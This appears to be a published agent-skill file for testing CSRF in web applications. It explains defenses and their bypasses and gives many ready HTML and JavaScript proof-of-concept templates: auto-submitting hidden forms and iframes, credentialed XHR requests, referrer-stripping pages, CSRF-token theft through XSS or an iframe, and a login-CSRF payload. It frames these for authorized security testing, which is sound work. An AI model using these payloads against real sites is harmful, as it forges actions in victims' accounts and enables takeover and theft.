# Csrf Testing

> Cross-Site Request Forgery (CSRF) vulnerability testing and exploitation. Use this skill whenever the user mentions CSRF, cross-site request forgery, form submission attacks, session hijacking, web security testing, or needs to test web applications for CSRF vulnerabilities. Trigger for any request involving CSRF token bypass, CSRF PoC generation, or CSRF defense analysis.

- Skill: `abelrguezr/csrf-testing` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/csrf-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/csrf-testing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/csrf-testing

---


# CSRF Testing Skill

A comprehensive skill for identifying, testing, and exploiting Cross-Site Request Forgery (CSRF) vulnerabilities in web applications.

## When to Use This Skill

Use this skill when:
- Testing web applications for CSRF vulnerabilities
- Generating CSRF proof-of-concept (PoC) payloads
- Analyzing CSRF token implementations and bypass techniques
- Reviewing CSRF defense mechanisms
- Converting POST requests to GET for CSRF testing
- Testing method override bypasses
- Exfiltrating CSRF tokens via XSS or other injection vectors
- Creating automated CSRF testing workflows

## CSRF Fundamentals

### What is CSRF?

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows attackers to perform actions on behalf of authenticated users by exploiting their active sessions. The attack works by tricking the victim's browser into sending requests to a target application while the user is logged in.

### Prerequisites for CSRF Exploitation

1. **Valuable Action**: Identify state-changing operations (password change, email update, privilege escalation, fund transfer)
2. **Session Management**: User session must be managed via cookies or HTTP Basic Auth
3. **No Unpredictable Parameters**: Request should not contain unpredictable tokens or values

## Quick CSRF Check

Capture the request in Burp Suite and:
1. Click "Copy as fetch" to inspect the request
2. Check for CSRF tokens in parameters or headers
3. Verify SameSite cookie attributes
4. Test if the request works without CSRF protection

## Defense Mechanisms and Bypasses

### 1. SameSite Cookies

**Defense**: `SameSite=Strict` or `SameSite=Lax` prevents cross-site cookie transmission.

**Bypass**: `SameSite=Lax` still allows top-level navigations (links, form GETs). Many GET-based CSRFs remain possible.

### 2. CSRF Tokens

**Defense**: Unique token per session, validated on state-changing requests.

**Bypasses**:
- **Missing Token Validation**: Token parameter exists but isn't validated when absent
- **Empty Token Accepted**: `csrf=` with empty value passes validation
- **Global Token Pool**: Token not bound to user session, works across all users
- **Token in Cookie Only**: Can be set via CRLF injection or other cookie manipulation

### 3. Referer/Origin Header Checks

**Defense**: Validate `Referer` or `Origin` headers match trusted domains.

**Bypasses**:
- **Omit Header**: `<meta name="referrer" content="never">`
- **Substring Matching**: `http://example.com.mal.net` or `http://mal.net?orig=http://example.com`
- **Query Parameter Injection**: Set domain in URL query string with `unsafe-url` referrer policy

### 4. Method-Based Validation

**Defense**: Only validate CSRF on POST requests.

**Bypasses**:
- **POST to GET**: If endpoint accepts `$_REQUEST`, convert POST to GET
- **Method Override**: Use `_method=DELETE` or headers like `X-HTTP-Method-Override`
- **HEAD Method**: Some routers process HEAD as GET without body

### 5. Content-Type Based

**Defense**: Validate specific Content-Type headers.

**Bypasses**:
- **Simple Request Types**: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain` avoid preflight
- **JSON as text/plain**: Send JSON payload with `enctype="text/plain"`
- **Custom Content-Type**: `text/plain; application/json` may bypass preflight

## CSRF PoC Templates

### Basic GET Request (Image Tag)

```html
<img src="https://target.com/action?param=value" style="display:none" />
```

### Basic GET Request (Form)

```html
<html>
  <body>
    <script>history.pushState("", "", "/")</script>
    <form method="GET" action="https://target.com/action">
      <input type="hidden" name="param" value="value" />
      <input type="submit" value="Submit" />
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>
```

### Basic POST Request (Form)

```html
<html>
  <body>
    <script>history.pushState("", "", "/")</script>
    <form method="POST" action="https://target.com/action" id="csrf-form">
      <input type="hidden" name="param" value="value" />
      <input type="submit" value="Submit" />
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>
```

### POST with Method Override

```html
<form method="POST" action="https://target.com/action">
  <input type="hidden" name="_method" value="DELETE" />
  <input type="hidden" name="param" value="value" />
  <button type="submit">Submit</button>
</form>
```

### POST with Empty CSRF Token

```html
<form method="POST" action="https://target.com/action">
  <input type="hidden" name="param" value="value" />
  <input type="hidden" name="csrf" value="" />
  <button type="submit">Submit</button>
</form>
```

### POST via Hidden Iframe

```html
<html>
  <body>
    <iframe style="display:none" name="csrf-frame"></iframe>
    <form method="POST" action="https://target.com/action" target="csrf-frame">
      <input type="hidden" name="param" value="value" />
      <button type="submit">Submit</button>
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>
```

### AJAX POST Request

```html
<script>
  var xhr = new XMLHttpRequest();
  xhr.withCredentials = true;
  xhr.open("POST", "https://target.com/action");
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.send("param=value");
</script>
```

### Multipart Form Data POST

```html
<script>
  var formData = new FormData();
  var blob = new Blob(["file content"], { type: "text/plain" });
  formData.append("file", blob, "filename.txt");
  
  fetch("https://target.com/action", {
    method: "POST",
    body: formData,
    credentials: "include",
    mode: "no-cors"
  });
</script>
```

### JSON as text/plain (Bypass Preflight)

```html
<html>
  <body>
    <form id="form" method="post" action="https://target.com/action" enctype="text/plain">
      <input name='{"key":"' value='"value"}' />
    </form>
    <script>document.getElementById("form").submit()</script>
  </body>
</html>
```

### Referrer Header Bypass

```html
<html>
  <head>
    <meta name="referrer" content="unsafe-url" />
  </head>
  <body>
    <script>history.pushState("", "", "?target-domain.com")</script>
    <form method="POST" action="https://target.com/action">
      <input type="hidden" name="param" value="value" />
      <button type="submit">Submit</button>
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>
```

### Referrer Header Omission

```html
<html>
  <head>
    <meta name="referrer" content="never" />
  </head>
  <body>
    <form method="POST" action="https://target.com/action">
      <input type="hidden" name="param" value="value" />
      <button type="submit">Submit</button>
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>
```

## Advanced Exploitation Techniques

### Token Exfiltration via XSS

If XSS is available, extract CSRF token and use it:

```javascript
function stealAndUseToken() {
  var xhr = new XMLHttpRequest();
  xhr.responseType = "document";
  xhr.withCredentials = true;
  xhr.open("GET", "https://target.com/page-with-token");
  xhr.onload = function() {
    var token = xhr.response.getElementById("csrf-token").value;
    var postXHR = new XMLHttpRequest();
    postXHR.withCredentials = true;
    postXHR.open("POST", "https://target.com/action");
    postXHR.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    postXHR.send("csrf=" + token + "&param=value");
  };
  xhr.send();
}
```

### Token Exfiltration via Iframe

```html
<form id="form1" action="https://target.com/action" method="post">
  <input type="hidden" name="token" id="token" value="" />
  <input type="hidden" name="param" value="value" />
</form>

<iframe id="i1" style="display:none" src="https://target.com/page-with-token" onload="extractToken()"></iframe>

<script>
  function extractToken() {
    var iframe = document.getElementById("i1");
    var iframeDoc = iframe.contentWindow || iframe.contentDocument;
    var token = iframeDoc.document.getElementById("csrf-token").value;
    document.getElementById("token").value = token;
    document.getElementById("form1").submit();
  }
</script>
```

### Socket.IO CSRF

```html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
  let socket = io("https://target.com/socket");
  socket.on("connect", () => {
    socket.emit("action", { data: "malicious-payload" });
  });
</script>
```

### Login CSRF (Chain with Stored XSS)

```html
<html>
  <body>
    <form action="https://target.com/login" method="POST">
      <input type="hidden" name="username" value="attacker@example.com" />
      <input type="hidden" name="password" value="StrongPass123!" />
      <input type="submit" value="Login" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
      // Redirect to page with stored XSS
      // location = 'https://target.com/app/inbox';
    </script>
  </body>
</html>
```

## Testing Workflow

### Step 1: Identify State-Changing Endpoints

1. Map all POST, PUT, DELETE, PATCH endpoints
2. Look for actions: password change, email update, profile edit, fund transfer, settings modification
3. Check for GET endpoints that perform state changes

### Step 2: Analyze CSRF Protections

1. **Check for tokens**: Look for `csrf`, `token`, `_token`, `__csrf_token` in forms/headers
2. **Check cookies**: Examine `SameSite` attribute
3. **Check headers**: Look for `X-CSRF-Token`, `X-XSRF-TOKEN`, custom headers
4. **Check Referer/Origin validation**: Test with missing or modified headers

### Step 3: Test Bypass Techniques

1. **Remove token**: Submit request without CSRF token parameter
2. **Empty token**: Submit with `csrf=` or `token=`
3. **Method change**: Convert POST to GET, test HEAD method
4. **Method override**: Add `_method=DELETE` or override headers
5. **Content-Type change**: Try `text/plain`, `application/json` with different encodings
6. **Header manipulation**: Omit Referer, modify Origin

### Step 4: Generate PoC

Use the templates above or run the PoC generator script:

```bash
python scripts/csrf-poc-generator.py --url "https://target.com/action" --method POST --params "param=value" --output poc.html
```

## Common HTML Tags for GET CSRF

```html
<img src="https://target.com/action?param=value" />
<iframe src="https://target.com/action?param=value"></iframe>
<script src="https://target.com/action?param=value"></script>
<embed src="https://target.com/action?param=value" />
<audio src="https://target.com/action?param=value"></audio>
<video src="https://target.com/action?param=value"></video>
<link rel="stylesheet" href="https://target.com/action?param=value" />
<object data="https://target.com/action?param=value"></object>
<body background="https://target.com/action?param=value">
<div style="background: url('https://target.com/action?param=value')"></div>
<bgsound src="https://target.com/action?param=value" />
<input type="image" src="https://target.com/action?param=value" />
```

## Tools

- **Burp Suite Professional**: Built-in CSRF PoC generator
- **XSRFProbe**: https://github.com/0xInfection/XSRFProbe
- **CSRF PoC Generator**: https://github.com/merttasci/csrf-poc-generator

## References

- [PortSwigger Web Security Academy - CSRF](https://portswigger.net/web-security/csrf)
- [OWASP CSRF](https://owasp.org/www-community/attacks/csrf)
- [YesWeHack CSRF Guide](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)

## Important Notes

1. **Always get authorization** before testing CSRF on any application
2. **Document findings** with working PoCs for responsible disclosure
3. **Consider impact**: Some CSRF vulnerabilities can lead to account takeover, data theft, or financial loss
4. **Chain vulnerabilities**: CSRF + XSS = severe impact; CSRF + IDOR = privilege escalation
5. **Test in context**: CSRF behavior may vary based on user role, session state, and application configuration

